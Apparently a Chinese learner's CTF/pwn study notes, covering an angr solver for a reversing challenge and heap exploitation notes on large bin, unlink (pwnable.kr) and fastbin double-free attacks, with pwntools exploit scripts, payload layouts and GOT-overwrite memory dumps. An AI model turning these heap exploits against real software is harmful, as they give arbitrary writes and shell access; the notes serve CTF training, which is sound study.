key) >> 16) ^ (key << 16);key += 0;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[14];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[1];key += 3791846473;key = ~key;key = key - (key & 7) - (key & 7) + 7;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key = ~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 3767795326;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[7];key += 371756133;key = ~key;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[8];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;return key;}int main(void) {unsigned int x = 0;unsigned int y = 0;scanf("%u", &x);y = calc(x);if (y == 730447668) { //**比赛实际服务器返回的number**) printf("right\n");} else { printf("wrong\n");}}
gcc -o f fk.c 得到f二进制文件
angr脚本,得到随机值1234567891011121314151617181920212223242526272829import angrimport claripyimport sysdef main(): print(" solving :", sys.argv[1]) p = angr.Project(sys.argv[1], load_options={"auto_load_libs": True}) state = p.factory.entry_state() sm = p.factory.simgr(state) def good(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'right'.encode() in stdout_output # :boolean def bad(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'wrong'.encode() in stdout_output sm.explore(find=good, avoid=bad) if sm.found: # print(sm.found[0].solver.eval(flag, cast_to=bytes) # print(sm.found[0].posix.dumps(sys.stdout.fileno()) print(sm.found[0].posix.dumps(sys.stdin.fileno())) else: print("Not found") print("Done")if __name__ == '__main__': main()
参考资料(一开始做了好久,硬逆向,发现确实不太好弄…本来想放弃了…搜了搜有原题..就参考了(抄)了一下)
https://www.52pojie.cn/thread-1717425-1-1.html
https://docs.angr.io
pwn入门-19-堆入门之Large_Bin_Attack
2.23 与2.30的分析,, 搭建源码,看源码, 做题
分析漏洞伪造重点,步骤
large bin 的攻击手法,根据libc的版本不同,随着libc版本的更新,加入了很多新的防御手法
https://blog.csdn.net/qq_41202237/article/details/112825556
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/
https://github.com/shellphish/how2heap
https://blog.csdn.net/A951860555/article/details/115477532
https://lexsd6.github.io/2021/11/07/Largebin%20Attack%20for%20Glibc%202.31%20学习/
gdb里查看源代码 list
2.23可以实现任意地址写
分析漏洞利用过程, 同时分析源码, 为什么会这样, 以及分析一下可以怎么样做到利用,然后找例题做一下
下一下libc源码,分析分析 如何进行调试glibc
为啥那个0x90的有四个值???
1先放进large bin 2后放进去,然后再切歌1? fifo
还是说2 1都放进largebin里,然后再切割? largebin是filo?
总的来说,就是要伪造一个chunk,修改bk和bk_nextsize为想要修改的地址(还需要微调,bk的要-0x10,bk_nextsize要-0x20)
2.30后加入了新保护
pwn入门-18-堆入门之unlink
FD=P->fd = target addr -12
BK=P->bk = expect value
FD->bk = BK,即 *(target addr-12+12)=BK=expect value
BK->fd = FD,即 *(expect value +8) = FD = target addr-12
堆块的链接顺序是从大到小还是??
Pwnable
gcc -Wl,-rpath=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64//,–dynamic-linker=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 1.c
1234567891011121314151617181920212223242526272829303132333435363738394041424344#include <stdio.h>#include <stdlib.h>#include <string.h>typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8];}OBJ;void shell(){ system("/bin/sh");}void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD;}int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0;}
123"A"*16 + (heap_addr+0x20+0x4) + (stack_addr+0x10) + (shell_addr)"A"*16 + (target addr -12) + ( expect value:ebp -x04) + (shell_addr)
这个是要把堆中地址
接收到stack地址,修改返回地址?
exp12345678910111213141516171819202122232425262728from pwn import *sh = process("./unlink")ELF=ELF("./unlink")stack = sh.recvline().strip()heap = sh.recvline().strip()payload = p32(ELF.symbols['shell']) + b"a"*12 + p32(heap+0xc) + p32(stack+0x10) sh.send(payload)sh.interactive()from pwn import *#pwn_ssh = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)p = process("/home/unlink/unlink")line1=p.readline().strip()line2=p.readline().strip()stack_addr = int(line1.split(': 0x')[1], 16)heap_addr = int(line2.split(': 0x')[1], 16)shell_addr = 0x080484ebp.sendline('A'*16 + p32(heap_addr+0x24) + p32(stack_addr+0x10) + p32(shell_addr))p.interactive()
pwnable怎么用exp呢? 写到/tmp目录下
https://www.cnblogs.com/dlddw/p/13139172.html
https://etenal.me/archives/972#C30
https://www.cnblogs.com/L0g4n-blog/p/13033301.html
调试源代码1
https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf
pwn入门-17-堆入门之fasbinattack
xuanxuan : https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
Write_Some_Paper申请不同的编号有影响吗????
怎么getshell呢? 首先是获取任意或者受限制的地址读写的能力,然后修改关键函数等,比如修改got表,把函数地址替换成system或者后门函数地址,然后再执行的时候就getshell了
怎么实现地址写? 利用double free,可以操控堆块的fd,从而实现把任意地址当作bin来进行申请空间,这样就获得了该地址的读写能力
double free123456789add(0,40,"h")add(1,40,"h") delete(0)delete(1)delete(0) //double free了add(2,40,p64(0x60203a))//这个需要填入覆盖地址了add(3,40,"bbb")add(3,40,"bbb") // 这一步后,会把fd(p64(0x60203a)) 放到fastbin的头部,下一次会申请到这里add(4,40,"\x40\x00\x00\x00\x00\x00"+p64(ELF.symbols['gg'])) //此时申请的就是第一次add时填入的fd地址
申请堆块时的地址约束 即size字段需要是fastbin这个链的大小,即目标地址的前8个字节需要满足,64位下这8个字节只要低4个字节满足就可以了。所以通过这种方式,我们可以控制的内存是需要满足一定约束的内存。也可以称这种满足要求的内存部分为伪堆块。获得这种内存有两种方式:
寻找是否有天然满足伪堆块的约束的内存
想办法构造伪堆块
8字节prev_size 随意 , 8字节size(64位下前4字节满足大小,如0x40大小),要覆盖的fd(要修改的内存地址)
要找到覆盖的函数,
123456789pwndbg> x/16gx 0x6020000x602000: 0x0000000000601e28 0x00007ffff7ffe1680x602010: 0x00007ffff7dee0b0 0x00007ffff7a91a700x602020: 0x00007ffff7a7d5d0 0x00007ffff7a7c0e00x602030: 0x0000000000400746 0x00000000004007560x602040: 0x00007ffff7a637b0 0x00007ffff7a2e7400x602050: 0x0000000000400786 0x00007ffff7a493b00x602060: 0x00007ffff7a91550 0x00007ffff7a7ddb00x602070: 0x00007ffff7a79480 0x00000000004007d6
这几个地方都可以作为size
123456789101112130x602000: 0x28 0x1e 0x60 0x00 0x00 0x00 0x00 0x000x602008: 0x68 0xe1 0xff 0xf7 0xff 0x7f 0x00 0x000x602010: 0xb0 0xe0 0xde 0xf7 0xff 0x7f 0x00 0x000x602018 <free@got.plt>: 0x70 0x1a 0xa9 0xf7 0xff 0x7f 0x00 0x000x602020 <puts@got.plt>: 0xd0 0xd5 0xa7 0xf7 0xff 0x7f 0x00 0x000x602028 <fread@got.plt>: 0xe0 0xc0 0xa7 0xf7 0xff 0x7f 0x00 0x000x602030 <__stack_chk_fail@got.plt>: 0x46 0x07 0x40 0x00 0x00 0x00 0x00 0x000x602038 <system@got.plt>: 0x56 0x07 0x40 0x00 0x00 0x00 0x00 0x000x602040 <printf@got.plt>: 0xb0 0x37 0xa6 0xf7 0xff 0x7f 0x00 0x000x602048 <__libc_start_main@got.plt>: 0x40 0xe7 0xa2 0xf7 0xff 0x7f 0x00 0x000x602050 <__gmon_start__@got.plt>: 0x86 0x07 0x40 0x00 0x00 0x00 0x00 0x000x602058 <strtol@got.plt>: 0xb0 0x93 0xa4 0xf7 0xff 0x7f 0x00 0x000x602060 <malloc@got.plt>: 0x50 0x15 0xa9 0xf7
根据这个来选择申请的堆块的大小
注意大小端的问题,这里选取这里作为伪造的chunk的size,然后后面是可控的数据,注意不要把system破坏了,然后把printf修改成后们地址即可
exp123456789101112131415161718192021222324252627282930from pwn import *context.log_level= "debug"io = process("./paper")elf = ELF("./paper")def add(num,length,context): io.sendlineafter("delete paper","1") io.sendlineafter("(0-9):",str(num)) io.sendlineafter("enter",str(length)) io.sendlineafter("content",context)def delete(index): io.sendlineafter("delete paper","2") io.sendlineafter("(0-9):",str(index)) add(0,40,"h")add(1,40,"h") delete(0)delete(1)delete(0)add(2,40,p64(0x60203a))//这个需要填入覆盖地址了add(3,40,"bbb")add(3,40,"bbb")add(4,40,"\x40\x00\x00\x00\x00\x00"+p64(ELF.symbols['gg']))io.recv(1024)io.sendline("a")io.interactive()#io.recv(1024)